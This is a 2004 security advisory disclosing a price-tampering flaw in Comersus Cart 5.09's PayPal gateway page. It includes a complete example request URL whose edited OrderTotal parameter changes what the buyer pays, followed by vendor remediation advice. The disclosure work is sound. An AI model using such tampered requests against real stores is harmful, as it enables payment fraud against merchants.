Release Date:
July 6, 2004
Severity:
Medium
Vendor:
Comersus Open Technologies
Software:
Tested on Comersus Cart 5.09
Previous versions may also be affected.
Remote:
Remotely executed from any web browser
Vulnerabilities:
Improper Request Handling
Technical Details:
The unethical user is able to modify the parameters to change the pricing before the order is processed through PayPal.
This would allow the unethical user to place a fraudulent transaction which many times won't be caught until the product is
already shipped OR the shopping cart owner is charged a chargeback fee when refunding the order.
Pages Affected
---------------------------
comersus_gatewayPayPal.asp
Example:
http://[VICTIM]/comersus/store/comersus_gatewayPayPal.asp?idOrder=2002
&OrderTotal=|102|222|228|22|130|36|209&name=Thomas&lastName=Ryan
&address=123+Easy+Modify+Street&city=New+York&state=NY&zip=10001
&country=US&phone=212%2D857%2D1731&email=tommy%40providesecurity%2Ecom
&orderDetails=1x+%23RDHT%2F11+Red+Hat+Deluxe+WorkStation+Options%3A+%3D
+%2479%2E00%0D%0A2x+%23WME%2F1+Windows+Millennium+Edition+Options%3A
+%3D+%24398%2E00%0D%0A1x+%23BPRES2%2F6+So+You+Want+to+Be+President%3F
+Options%3A+%3D+%2414%2E39%0D%0A
Vendor Status:
Update to 5.098
http://www.comersus.com/
Use <form method=”POST” on all Forms
Also recommend using SSL for ALL Transactional areas of the website.
Review all orders before processing
Advisory:
http://www.providesecurity.com/research/advisories/07062004-02.asp
Credit:
Discovered By: Thomas Ryan
Provide Security
Copyright © 2004 Provide Security
Permission is hereby granted for the redistribution of this alert electronically.
It is not to be edited in any way without the expressed written consent of Provide Security.
If you wish to reprint the whole or any part of this advisory in any other medium excluding
electronic medium, please email secalert@providesecurity.com for permission.
Disclaimer
The information within this paper may change without notice.
Use of this information constitutes acceptance for use in an AS IS condition.
There are no warranties, implied or express, with regard to this information.
In no event shall the author be liable for any direct or indirect damages whatsoever
arising out of or in connection with the use or spread of this information.
Any use of this information is at the user's own risk.
|